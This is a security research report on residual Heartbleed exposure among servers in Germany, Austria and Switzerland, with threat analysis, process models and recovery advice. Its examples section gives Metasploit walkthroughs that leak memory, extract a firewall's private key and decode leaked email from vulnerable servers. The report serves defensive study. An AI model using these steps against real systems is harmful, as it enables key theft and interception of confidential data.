Heartbleed 2017. 3 years later, still bleeding

by
Tom Hofmann
April 2017
Heartbleed
3 years later,
still bleeding

Introduction....................................................................03
1 The project..................................................................03
2 Data analysis .............................................................04
Germany..................................................................05
Switzerland........................................................... 06
Austria.......................................................................07
3 Threat assessment .............................................. 08
4 Observations ............................................................ 08
5 Conclusions .............................................................. 08
Examples from the project..................................12
OpenSSL & the Heartbeat....................................14
Discovery of Heartbleed........................................15
How to recover..............................................................15
Technical countermeasures...............................16

ABSTRACT
The Heartbleed bug (malicious requests exploiting a
major weakness in the Heartbeat feature of OpenSSL1.0.1
through 1.0.1.f) was discovered in April 2014.
Bruce Schneier wrote: “Catastrophic is the right word. On
the scale of 1 to 10, this is an 11.”
A programming error in the OpenSSL library had made it
possible to access confidential information. Tapped
information may include private keys, credentials, session
information and confidential data (as well as harmless
data junk).
When the existence of the Heartbleed threat was estab-
lished (some two years after the release of the vulnerable
OpenSSL library), its severity attracted major media
attention. Developers and vendors reacted quickly and
released patches within a few days. Hotfixes were
released to patch the security flaw; upgrade guidelines
and integrated upgrade packages were issued; and the
media visibility of the threat kept administrators on alert.
The author started a private project to assess whether
any remaining threat existed and, if so, in which market
segments. This led to broad practical conclusions going
well beyond the specific threat of Heartbleed, which will
be outlined in this paper.
1 The Project
My interest in assessing possible residual threats from
the Heartbleed bug was triggered by a recent discus-
sion with a cyber-security specialist from Ernst and
Young. I became interested in how far the world of IT
users had adopted solutions to an exemplary, very
severe and fully understood threat (the underlying
assumption was, of course, that reactions to less
severe and less publicized threats would be less
comprehensive).
To assess the residual threat, I started with an analysis
of currently available services on the internet still
using vulnerable versions of the OpenSSL library (as
already mentioned, this refers to OpenSSL 1.0.1
through 1.0.1f). Data collection was done using a
service called Shodan (Shodan, a publicly accessible
service, crawls the internet and scans for open ports,
storing banner information retrieved from the sockets,
i.e., the combinations of IP addresses and port num-
bers). I restricted the Shodan search to services
hosted within the DACH region, then performed a
more detailed analysis.
More specifically, data retrieval used the Shodan REST
API through the official Python wrapper package (the
included Command Line Interface allows interactive
queries, retrieval and parsing of the data); every data
record contains one JSON banner, and I configured the
queries to include IP address, port, hostname, domain,
location, isp, addressed product and product version.
The results were parsed for geography (specifically
DACH origination), services, and IP service locations.
The total number of records indicating Heartbleed-vul-
nerable services was 178.982 (out of roughly 2.7
million services utilizing OpenSSL) out of which 14.230
(out of some 160’000) belonged (with a very high
probability) to the D-A-CH region. This made it possi-
ble to analyse the local Heartbleed residual threat. The
assignment of IP addresses to geolocations is based
on Shodan’s IP geolocation feature.
Introduction

Top 5 IP geolocations:
Berlin 3.537
Donzdorf 196
Munich 120
Hamburg 116
Frankfurt 68
Top 5 services:
HTTPS / 443 8.387
HTTPS / 8443 3.578
Synology 848
Webmin 477
HTTPS / 444 317
Top 5 products:
Apache httpd 5.301
nginx 943
Mini Serv 457
Kerio Connect Webmail 127
thttp 81
AT: 699
CH: 1.154
DE: 12.377
D-A-CH: 14.230
When mapping the data onto D, CH and A, a few
additional conclusions came up. It is easy to identify
the major data center clusters in each country, which
do not necessarily coincide with the major urban
centres. In all three countries, with some manual data
handling, it became clear that major corporations (as
well as institutions, governmental or other) generally
showed a very low residual threat from Heartbleed.
Most vulnerable services were to be found with small
or medium businesses (SMBs).
2 Data analysis

Berlin
Donzdorf
Munich
Hamburg
Frankfurt
Berlin 3.537
Donzdorf 196
Munich 120
Hamburg 116
Frankfurt 68
Top 5 services:
HTTPS / 443 7.180
HTTPS / 8443 3.390
Synology 672
Webmin 446
HTTPS / 444 196
Top 5 products:
Apache httpd 4.787
nginx 902
Mini Serv 440
thttp 82
DE: 12.377
Unsurprisingly, given its sheer size and the amount of
servers, Germany hosts the largest number of vulnera-
ble servers within the DACH region.
This is not only true on a regional scale: With 12.377
servers, Germany ranks second only to the USA for the
largest amount of servers operating a vulnerable
OpenSSL installation globally. With 40.227 servers,
the USA is still the leading country with China and its
11.818 servers ranking third.
Germany itself holds 11% of the worldwide Apache
server installations at risk.
The most vulnerable
Germany

Zug
Basel
Lausanne
Zurich
Geneva
Zurich 78
Geneva 49
Zug 10
Basel 10
Lausanne 9
Top 5 services:
HTTPS / 443 755
HTTPS / 8443 135
Synology 128
HTTPS / 444 53
Port 8081 16
Top 5 products:
Apache httpd 234
nginx 42
Twisted Web httpd 21
thttp 10
CH: 1.154
Switzerland is known for its finance and pharma
businesses. Both operate in a highly regulated market
and cybersecurity is nothing new to them.
Confidentiality, integrity and availability are core
capabilities of these IT departmens.
It was to be expected that these major companies
have processes and procedures for continous vulnera-
bility assessement and remediation in place.
We see, however, a lot of small and medium-sized
businesses and governmental organizations that are
still vulnerable.
Most of the infrastructure can be fixed, as vendors
provided the necessary security fix in 2014.
It can be assumed that security is lacking attention
inside these organisations, on multiple levels. Proac-
tive infrastructure monitoring and testing might
exceed these organisations resources and capabilities,
but even standard update and patch processes seem
to be missing.
Organisations need to create awarness for the impor-
tance of cybersecurity and accordingly provide
resources to address these issues.
SMBs at risk
Switzerland

Graz
Linz
Salzburg
Krems
Vienna
Vienna 90
Salzburg 21
Linz 14
Graz 7
Krems 4
Top 5 services:
HTTPS / 443 453
HTTPS / 444 68
HTTPS / 8443 53
Synology 48
Webmin 16
Top 5 products:
Apache httpd 153
MiniServ 20
nginx 19
thttp 12
Fortinet 11
The data for Austria shows no speciﬁc abnormalities.
Just like in Germany and Switzerland, the large compa-
nies are portected and are no longer threatend by the
weakness in the OpenSSL library.
The majority of services at risk are operated by small
and medium-sized businesses and private organiza-
tions. This is similar to Switzerland but with fewer
services.
Last but not least
Austria
AT: 699

3 Threat Assessment
The fact that major corporations and institutions are
not vulnerable to Heartbleed attacks does not imply,
however, that their internet traffic is secure. Rather,
any traffic involving vulnerable services of third parties
is susceptible of being accessed illegally and is poten-
tially compromised. Quantifying this threat, of course,
is difficult. The threat is obviously far more significant
with smaller unprotected company services.
As a conclusion, even a three-year-old bug which has
received massive coverage from the IT community still
has a remarkably strong presence of close to 10 % of
services, and can thus represent a massive threat to
cybersecurity. While large enterprises and govern-
ments have strategies and processes in place, a
significant share of SMBs seem not to have adopted
countermeasures. Though digitalisation forces them
to deploy internet services, they do not adopt proper
cybersecurity practices. Attackers can exploit these
services and proceed to targeting larger enterprises,
for example through spear phishing campaigns.
With such sobering results relating to one of cyber-his-
tory’s most famous – and infamous – bugs, it must be
expected that less publicized exploits will be
addressed even less systematically by SMEs. This
speaks for a broader view of cybersecurity: it is not
enough to make your own internal infrastructure
secure; security must be extended to as large a share
of your business partners as economically possible.
Security includes, beyond strict internal rules and
procedures, encouraging a common security culture
with your main business partners.
4 Observations
We have established three key findings:
• Major organisations are usually not affected. Here we
can see that basic cybersecurity processes are in place.
What we don’t know is whether these processes
operate internally for every service within every
department.
• Small and medium-sized enterprises represent the
largest group affected by Heartbleed.
Because virtually every software vendor did release a
security patch, it must be assumed that many mem-
bers of this group lack the right processes (or the right
strategy, or both) to identify, detect and react to
cybersecurity threats.
• Mutual interaction between the two types of organisa-
tions also represents a threat to the security of major
organisations.
Out of convenience, employees might share creden-
tials with other services they use; confidential data
sent via email might be compromised; and collateral
data might be used for spear fishing campaigns.
5 Conclusions
Based on these observations, I distinguish between
two distinct groups: technically vulnerable enterprises
and protected enterprises. Each group is classified by
five characteristics.
• Technically vulnerable enterprises
Size: Small-Medium-Sized-Business
Technical maturity: Available hotfixes and patches are
not in place.
Structural / Procedural maturity: The technical short-
comings suggest that no procedures are in place to
detect and handle IT maintenance or cybersecurity
tasks. The abundance of such processes implies the
non-existence of general management approaches,
e.g., IT service management, security management
and business continuity management.
Vulnerable to Heartbleed
Cybersecurity maturity: Non-existent, Ad-hoc
• Protected enterprises
Size: Major enterprises and organizations.
Technical maturity: Patches and hotfixes are applied.
Structural / Procedural maturity: It appears that
procedures and management frameworks are in place,
e.g., IT service management, security management
and business continuity management. This also
includes dedicated frameworks like COBIT or
ISO2700x.
Not vulnerable to Heartbleed
Cybersecurity maturity: Defined, Managed or
Optimised

The fact that both groups interact with each other on a
business level creates a threat duality; an active threat
towards vulnerable enterprises that indirectly threat-
ens otherwise protected organisations. Data theft
performed by exploiting a vulnerable system can
possibly reveal data that is used in an attack on
another company, thus trageting not only on a techni-
cal level, but also on social level (i.e. social engineer-
ing, phising, etc.).
Under such circumstances and with the different
characteristics of the two groups, a solely technical
approach to avoid or mitigate such type of dual
threats would not be fruitful .
5.1 Cybersecurity Capabilities
This leads us to the definition of a set of three cyber-
security capabilities. Such a cabability set can be
utilized in both organisational groups.
• Identify
Organisations need to identify patterns that might
lead to attacks, security breaches or data loss.
Patterns are not only technical subjects like antivirus
signatures or suspicious traffic. A pattern can also be
an action to identify a spear phishing campaign or
social engineering threats.
• Detect
Organisations need to ensure that suspicious patterns
are detected and even predicted. An active use of
threat intelligence and monitoring allows organiza-
tions to anticipate emerging threats and possible
defence weaknesses and to mitigate ongoing attacks.
For this, tools like RiskIQ or shodan.io are valuable.
Because penetration testing requires special tools and
know-how, it is advisable to work with dedicated
partners.
Again, patterns are not solely technical means, and
one can greatly benefit from soft assets. With a
security culture and awareness within the organisa-
tion, your employees will learn to act as a human line
of defence.
• React
An organisations needs to be aware of the procedures
and actions to be taken when a threat or an attack is
detected. Typical questions to be answered are:
What is the impact on the business? Who needs to be
informed?
What are the “security incident” guidelines and
processes? How far do top management and the legal
department te need to be involved? Does our PR team
need to issue a public statement for customers and
stakeholders?
5.2 Reference Process Model
With the capabilities defining what needs to be done,
one needs to define in s second step how to do it.
Thus, the following section outlines a process refer-
ence model, adapted to the defined three cybersecuri-
ty capabilities.
The reference model consists of three parts:
• Steering Processes
Providing guidance and governance to the system.
Assessment: Overall situation assessment.
Strategy: Strategy planning and implementation.
• Core Processes
Definition and implementation of the main processes.
(the three capabilities to identify – detect – react).
Reconnaissance: Gather infromation -
Technical (vulnerabilities, etc.),
civil (phising, social engineering, etc.),
force (hacking & political groups, extortion, etc.)
Analysis: Evaluate, interpret
Response: React to threatning situations with appro-
priate actions.
• Support Processes
Supporting resources and services of the core processes.
Human Resources, Marketing, Legal: Providing
overall support functions, i.e. trainings, legal advice.
As the reference model is established, it is important
to understand the impact and context in which it will
affected organisations and therefore be developed
and implemented.
The heterogeneous groups and threats outlined in this
report made it necessary to find an adaptable
approach, enabling organisations to take effective and
efficient measures.
Assessment Strategy
Reconnaissance Analysis Response
Security Operations Human Resources
Marketing - LegalIT Service Management
Technology itself wont help an organisation to
coordinate appropriate countermeasures.
Figure 1: Reference process model for the three cybersecurity
capabilities.

5.3 Information System
The development and the introduction of new capabil-
ities has an impact on the overall information system
of an organisation.
L. J. Heinrich defined such a system by the relationship
and interaction of three elements (Human – Task -
Technology), representing a complex socio-technical
system. These elements are also essential in the
capability development.
This generic model has certain shortfalls when we look
at the heterogynous group of organisations.
SMBs would rather have to deploy short term security
measures that are focused on technical solutions and
might lack comprehensive cybersecurity processes or
even strategy.
With large enterprises, the threat will appear on
different levels throughout the organisational struc-
ture, they might have to align new capabilities with
long-term strategic goals, existing process frameworks
and across multiple organizational units.
While these three elements exist in both groups, they
largely differ in shape and maturity.
5.4 Engineering Map
A structured approach on this transformational
process, based on the various manifestations of
underlying information systems, is outlined in the St.
Galler Business Engineering Map. The Business
Engineering Map was developed to address various
aspects and the plurality within organizations under-
going transformational processes.
I adapt this model to the transformational process,
focused on the implementation of the three cyberse-
curity capabilites.
Human
Task Technology
Culture &
Organisation
Cybersecurity
Capabilities
Transformation
Strategy
Processes
Technology
People,
Culture,
Leadership
While the map gives an overall view on the transfor-
mation, the change itself needs to be scaled according
to the context of the various organisations and their
requirements.
This requires a framework to identify and to define the
right scale and type of activities, organizing humans,
tasks and technology in structured processes. All of
these have to be aligned to the context of the specific
company.
Figure 2: The three elements of a socio-technical system
according to L. J. Heinrich, 1982.
Figure 3: The University of St. Gallen Business Engineering Map
adapted to cybersecurity transformation.

5.5 Six Core Elements of BPM
To do justice to each company’s individual situation
and requirements, we employ the six core elements of
Business Process Management: strategic alignment,
governance, methods, information technology, people,
and culture. (Book: Handbook on Business Process
Management 1.1)
This model can be used to contextualise the effort on
implementing the cybersecurity capabilities. Depend-
ing on the size and maturity of the organisation, it can
potentially be implemented in a very lean way, while
mature organizations benefit from the possibility to
align this with existing management frameworks, like
Six Sigma, and security frameworks, like COBIT or
ISO2700x.
The following section describes the purpose of each of
the six core elements:
• Strategic Alignment
Just like Business Process Management, Cybersecurity
Process Management needs to be aligned with the
overall strategy of an organization.
This does not mean that an organisation is required to
have a dedicated cybersecurity strategy, but this also
links to strategic goals to ensure business perfor-
mance and continuity.
• Governance
Successfully establishing cybersecurity processes and
capabilities requires roles and responsibilities to
enable transparent controlling and accountability.
• Methods
Methods define the frameworks and tools to be used
and applied during the process lifecycle. COBIT is an
example of such a framework.
• Information Technology
IT provides solutions supporting the processes
throughout its lifecycle. Such tools can be used to
model and analyse a process but also include the
execution of the process, e.g., IT Service Management,
threat intelligence and data mining tools.
• People
Like in Heinrich’s definition of information systems,
humans (People) are a core element of processes
management. They represent the participating individ-
uals and groups that develop and utilise these
processes.
• Culture
Culture incorporates the collective values of a group of
people (Schein 2004). It is necessary to establish and
facilitate a common understanding within your
organization towards the cybersecurity initiatives.
The relation between the business engineering map
and the six roles of BPM are depicted in the figure
below.
5.6 Summary
The methods, tools and frameworks in these chapters
can be used to develop an own approach on the three
cybersecurity principles, providing a reference frame-
work, a transformation process based on the Business
Engineering Map and the Six Core Elements of BPM
to adjust the processes to your company’s needs.
Strategic
Alignment
Governance Methods
Information
Technology
People Culture
Business Process Management Capability Areas
Strategy Support
Link
Cybersecurity - Process
Capabilities
Link
Business - Cybersecurity
Strategies
Roles
Responsibilities
Controlling
Framework
Framework alignment
(COBIT, ISO2700x)
Controls and
Measures
Tools
Devices / Software
Infrastructure and
Services
Training
Skills
Empowerment
Culture establishment
Foster innovation
Leadership
commitment
... ... ... ... ... ...... ...
Figure 4: The Six Core Elements of BPM according to the Handbook of Business Process Management 1 (Eds. J.
vom Brocke, M. Rosemann; 2nd Edition 2015)

Step 1: Verify Heartbleed
[+] 10.10.1.1:443 - Heartbeat response with leak
[*] Scanned 1 of 1 hosts (100% complete)
Step 2: Retrieve 64 kByte memory
msf auxiliary(openssl_heartbleed) > run
[*] 10.10.1.1:443 - Heartbeat data stored in
/root/.msf4/loot/10.10.1.1_openssl.heartble_6594.bin
[*] Auxiliary module execution completed
Step 3: Scan for key material
msf auxiliary(openssl_heartbleed) > set action KEYS
action => KEYS
[*] 10.10.1.1:443 - Scanning for private keys
[*] 10.10.1.1:443 - Getting public key constants...
[*] 10.10.1.1:443 - 2018-04-1 11:25:48 UTC - Starting.
[*] 10.10.1.1:443 - 2018-04-1 11:25:48 UTC - Attempt 0...
[+] 10.10.1.1:443 - 2018-04-1 11:25:49 UTC - Got the
private key
[*] 10.10.1.1:443 - -----BEGIN RSA PRIVATE KEY-----
MIICXAIBAAKBgQDn1mQNazEtiBYc9NcWp80FmjZHTxZgqMl48nyLVB-
ZQuxDyp+RoWqoQ1pj8EZmyxWnGsLqDUOsMdbPpXaS0FKyfyKslCtO
Z4wXOGJ2ECQF4LYcS0CQEhYsfUcfukeycxU+HdbC43RgbBkzPmfycsBy-
pN2ZM3TBM9Kc2O8unnfIaz8EWdx9+1RRXdkwFgXlFByW37pbzO1e+UnIY
Te3W+OXjlZqAcwRAA$FqasdfASETHRAFASwPNBnlyq3g=
-----END RSA PRIVATE KEY-----
[*] 10.10.1.1:443 - Private key stored in
/root/.msf4/loot/10.10.1.1_openssl.heartble_532214.txt
Step 4: Verify key
openssl rsa -in priv.cert.txt -check
RSA key ok
writing RSA key
-----BEGIN RSA PRIVATE KEY-----
MIICXAIBAACQEhYsfUcfukeycxU+HdbC43RgbBkzPmfycsBypN2ZM3T
VhNV4d661PJAcwRAA$FqasdfASETHRAFASwPNBnlyq3g=
-----END RSA PRIVATE KEY-----
Step 5: Obtain public key
echo -n | openssl s_client -showcerts -connect
10.10.1.1:443 > ./pub.cert
# Dipslay downloaded certificate
openssl x509 -in pub.cert -noout -text
Certificate:
Data:
Version: 3 (0x2)
Serial Number: 1234567 (0x111111FFF)
Signature Algorithm: sha1WithRSAEncryption
Issuer: C = US, ST = California, L = Sunnyvale, O
= Fortinet, OU = Certificate Authority, CN = support,
emailAddress = support@fortinet.com
Validity
Not Before: Aug 21 02:26:58 2010 GMT
Not After : Jan 19 03:14:07 2040 GMT
Subject: C = US, ST = California, L = Sunnyvale,
O = Fortinet, OU = FortiGate, CN = FGT40, emailAddress =
support@fortinet.com ...
Step 6: Conclusion
Here, we show that retrieval of the complete key material
of a critical infrastructure device, namely a firewall.
The certificate is self-signed and it can be assumed that
every user manually added it to its browser’s trust store.
Revocation of the compromised certificate is not possi-
ble. This, in combination with other tools like BurpSuite,
would allow an attacker to impersonate as the firewall
services or launch man in the middle attacks.
Fortinet published a security fix together with a blog
entry on the severity of the Heartbleed Bug. As the bug is
still working, we can assume that since April 2014, no
updates have been installed.
This information can be combined with CVE databases to
identify and possibly exploit futher vulnerabilities.
The combination of the Heartbleed Bug and the knowl-
edge about self-signed certificates on Fortinet firewalls
would allow a targeted approach to identify and exploit-
ed unpatched firewall systems.
#1 Gain access to a firewalls private key
Retrieval of private key material and session information on an unpatched Fortinet FortiGate firewall.
Disclaimer
The affected service owners have been informed prior to
executing these actions and the security flaws have been fixed.
This data is for educational purpose only.
It is completely anonymised and no further details will be given.
Using this or any other security flaw without a mutual agree-
ment of the service owner and the executing party is considered
illegal and punishable by applicable law.
The author is not responsible for any misuse of the information.
This section contains some examples about data
and information that can be retrieved through
the Heartbleed Bug and visualise the importance
of proper cybersecurity.
Information collection is based on the usage of
standard tools, such as shodan.io, Metasploit,
Armitage and the openssl toolkit.
Examples from the project

Disclaimer
The affected service owners have been informed prior to
executing these actions and the security flaws have been fixed.
This data is for educational purpose only.
It is completely anonymised and no further details will be given.
Using this or any other security flaw without a mutual agree-
ment of the service owner and the executing party is considered
illegal and punishable by applicable law.
The author is not responsible for any misuse of the information.
Step 1: Verify Heartbleed
Step 2: Retrieve 64 kByte memory
[*] 10.10.100.1:443 - Heartbeat data stored in
/root/.msf4/loot/10.10.100.1_openssl.heartble_6594.bin
[*] Auxiliary module execution completed
Step 3: Check memory dump for interesting pattern
Referer: https://10.10.100.1/weblib/int/login/con-
nect/webmail2.css?v=8.4.2.1234
Connection: keep-alive
...
Class: IPM.Note
X-MessageSize: 9609104
X-MSGGUID: 92512349-97C7-4AFF6-F123-A712345678A
X-Servlet: TEST
X-UA-Compatible: IE=edge
Step 4: Found some Base64 information
FROM SCOPE ('SHALLOW TRAVERSAL OF "/test/heinerpau-
l%40test.de/b123cc44-1234-abcd-ae08-abc6af213dc/"') WHERE
"DAV:isfolder" = false</D:sql></D:searchrequest>–L+2r2R1-
rU7r2J2VuTqHOw+T65PYamQmZ91vs7JzZemgearaJpblltzFsw/du/qC+
33kl1AYYYUWUOyPpdFkCwUeMfBrGkmg6XT7Juh/eQtvB03tq
...
Step 5: Decode
echo IEdyYW5k234NhLEFyAagerasAF352xvcjogIzY2NjY2NjsgbGlu-
ZS1asAER3233fIDE2 | base64 -D
Step 6: Analyse the data
Good morning Mr. Test,<o:p></o:p>
<o:p> </o:p>
we
had some problems manufacturing your last
order.<o:p></o:p>
Can
you please contact me in regards to
this?<o:p></o:p>
<o:p> </o:p>
Kind
regards, Marie Maier, Company XYZ
Step 7: Conclusion
Based on the flawed OpenSSL library, it was possi-
ble to retrieve data from the email server, disclos-
ing business information, purchase orders, invoices
and many more.
This information could be used in spear phising
attacks, targeted not only to the company, but also
its clients.
Such attacks can cause substantial financial and
reputational damage.
The mailserver also had a webmail interface that
employees used remotely. Thus, company creden-
tials migth be leaked and abused.
Attackers in possession of company credentials can
exploit further organisational resources and
services.
Even though if the company itself is not the final
target, its resources can be abused in further
attacks on the final target. Vulnerable servers
might be used for example as Command and
Control servers, infected emails might be send, etc.
In this case, the organisation is a company provid-
ing specialised services for finance and insurance
companies, the automotive industry, pharmaceuti-
cal companies and others.
#2 Exposure of emails
Accessing potentially confidential information through a vulnerable email server

OpenSSL & the Heartbeat
OpenSSL is an open source project that provides a
cryptographic library and toolkit for the Transport
Layer Security (TLS) and Secure Sockets Layer (SSL)
protocols.
The OpenSSL software is developed open-source and
is licensed under an Apache-style license, meaning it is
available to everyone for commercial and non-com-
mercial use. Certain license conditions apply and the
full license information is available at https://li-
cense.openssl.org.
The OpenSSL project originates back to the mid 1990s,
when the Australian software developer Eric A. Young
released his implementation of the SSL protocol,
SSLeay. Because SSLeay was developed in Australia, it
allowed everyone to adopt strong cryptography, as
U.S. export regulations did not apply.
The last version of SSLeay, planned for summer 1998
as version 0.9.1b was handed over to a new team of
developers, who released it in December 1998 as
OpenSSL 0.9.1c.
In January 2006, OpenSSL became the first open-
source program that was certified according to NIST
FIPS 140-2.
Since then, the OpenSSL software gained massive
adoption throughout the IT industry. Many different
vendors use the commercial-grade cryptographic
toolkit provided by the project.
Therefore, we can find OpenSSL in virtually any Linux
distribution, in firewalls, VPN gateways, appliances,
VoIP phones, email and file transport applications and
many more.
Two students of the Fachhochschule Münster and the
Universität Duisburg-Essen worked on their disserta-
tion about Stream Control Transmission Protocol
(SCTP) and as a part of that, they proposed a keep
alive mechanism for the cryptographic protocols,
Transport Layer Security (TLS) and Datagram Trans-
port Layer Security (DTLS). Originally, no feature was
defined to keep a connection alive without constant
data exchange.
They introduced the Heartbeat extension to overcome
these limitations. It is defined in RFC 6520 “Transport
Layer Security (TLS) and Datagram Transport Layer
Security (DTLS) Heartbeat Extension“.
It allows any peer to send a HeartbeatRequest
message to another peer. The HeartbeatRequest
message contains the message type, the payload
length, a payload of maximum 16 kByte and with
random padding for smaller payloads.
On the receiving end, the peer can either silently drop
the message, and might answer with an error
message, or it must send a corresponding Heartbe-
atResponse message carrying an exact copy of the
payload of the received HeartbeatRequest.
The Ph.D. student implemented the Heartbeat exten-
sion for OpenSSL and submitted it to the project. The
bug remained unnoticed and therefore the flawed
code was introduced into the OpenSSL source code
repository on December 31, 2011.
The OpenSSL version 1.0.1 was released on March 14,
2012, spreading the vulnerability.
Where does OpenSSL come from and what is
the TLS Heartbeat extension?

In April 2014 two developers, Neel Mehta of Google's
security team and Antti Karjalainen of Codenomicon,
discovered the Heartbleed bug.
It has been secretly reported to the OpenSSL team on
April 1st, to allow the development of a patch, before
it was disclosed publicly on April 7.
They found the bug in the Heartbeat implementation,
after being undetected for about 27 months.
This leaves OpenSSL 1.0.1 through 1.0.1f (inclusive)
vulnerable to the Heartbleed bug. OpenSSL 1.0.1g,
released on April 7 2014, fixes the bug.
A missing bounds-check during the input validation
caused a buffer over-read. In this situation, more data
can be read than should be allowed.
Sending a manipulated HeartbeatRequest message,
the receiving peer would respond not only with an
exact copy of the payload, but also with whatever is
written in the allocated memory buffer.
By using a malformed message, the attacker would be
able to receive up to 64 kByte of the victim’s memory.
This is done by using a large length field and a very
small payload.
Due to the nature of this attack, the server will not
recognise any suspicious activity. The attacker has no
control over what is revealed, because memory
allocation itself is not affected. However, multiple
executions allow the attacker to collect various chunks
of memory, and thereby compromising sensitive data.
Discovery of Heartbleed
Data exposed might contain private keys, credentials,
session information as well as confidential data.
In order to classify possibly compromised material, I
adopted three of the four categories defined on
heartbleed.com:
1. Primary key material,
2. Secondary key material and
3. Protected content.
1. Primary key material
This refers to the private keys of an X509.v3 key pair,
used for authentication and encryption. An attacker
can use this information to impersonate the service,
executing man in the middle attacks and decrypt any
past or future data, for which this key pair has been
used. In this case the service owner has to generate
and distribute new keys and certificates, revoke
existing certificates and ensure proper distribution of
the update information through CRLs. However, this
will only affected future encryption. Past data that has
been captured can still be encrypted.
2. Secondary key material
Secondary key material means user- and session-
related information. Exposed memory can contain
usernames and passwords for the vulnerable service
or session information as session cookies. This
information can be used to gain unauthorised access
to a user’s profile or hijack an existing session.Pass-
words for the service shall be changed, existing
sessions should be invalidated and users should raise
awareness on identity abuse.
3. Protected content
As the memory contains all sort of data, the leak could
also provide the attacker with confidential emails,
documents or chats. This information can be used for
all sorts of actions, ranging from insider trade to spear
phishing and social engineering campaigns. Service
owners need to evaluate what type of content is
affected and to assess adequate countermeasures,
and which users need to be informed, while keeping in
mind that the user group is not limited to internal
users only. Customers and partners might also have to
be informed. Besides technical notifications, it might
be necessary to consult with a comanpy’s legal depart-
ment, HR or marketing.
How to recover

The former chapter described various ways on how to
recover from the Heartbleed vulnerability, focused on
leaked information.
In this chapter, I will outline some recommendations
towards recovery of the service itself.
• Fixing the vulnerability
It is highly recommended to apply available hotfixes
to fix the vulnerable library itself. This will protect the
service from any future exploitation.
As there might be further security weaknesses in
different parts of the service, it is recommended to
establish an efficient patch and upgrade process.
• Proxyficiation
If it is not possible to patch the service itself, it should
be moved behind a proxy service and in a different
network zone. This action will prevent the service from
being publicly available and exploitable. Incoming
requests will be intercepted by the proxy service and
then forwarded to the backend service.
• Replacement
The data gathered during this report reveals that not
only web services are vulnerable. Even core network
devices such as firewalls can be exploited. Especially
for such highly critical and vital components, it is
inevitable to have a working patch and release man-
agement. If it is, for any reason, not possible to update
and fix such systems, they should be replaced to
ensure current and future confidentiality and integrity
of your systems.
Technical countermeasures
Se
rvice
Apply patch
Malicious
request fails
System no longer
vulnerable
Se
rvice
Unpatchable
system
Malicious
request blocked
System still
vulnerable
Proxy
service
Malicious can not
be blocked
Unpatchable
infrastructure
device
Immdediate
replacement
Figure 5: Schematic of a patched system.
Figure 6: Schematic of an unpatched system behind a proxy
service.
Figure 7: Schematic of an unpatcheable system for
replacement.

Digitalisation is still a challenge for many organi-
sations; however, this change is mostly seen
from a business perspective. We need to make
cybersecurity an integral part of our business,
and align Business, IT and Cybersecurity.
I am convinced that technology is a great tool
towards achieving this goal, but it is only as good
as the organisation using it and its capability to
put the tool into the right context.
In this report, I showed that even though a
vulnerability has been ﬁxed some years ago, it
still presents a threat to organisations due to the
duality of the threat. Cybersecurity needs to be
addressed as a holistic topic inside organisations.
Technical measures have to be combined with
organisational, procedural, and cultural mea-
sures.
Thank you for your interest in my report.
If you have any further questions or inquiries,
please feel free to contact me:
Twitter. http://twitter.com/WickedProbl3msEmail. hofmann.security@protonmail.com
Location. Zürich, Switzerland LinkedIn. https://www.linkedin.com/in/onlinesecurity
Tom Hofmann
Cybersecurity specialist
Interested in cybersecurity and innovation

Heartbleed 2017. 3 years later, still bleeding

Recomendados

Recomendados

Más contenido relacionado

La actualidad más candente

La actualidad más candente (11)

Similar a Heartbleed 2017. 3 years later, still bleeding

Similar a Heartbleed 2017. 3 years later, still bleeding (20)

Último

Último (20)

Heartbleed 2017. 3 years later, still bleeding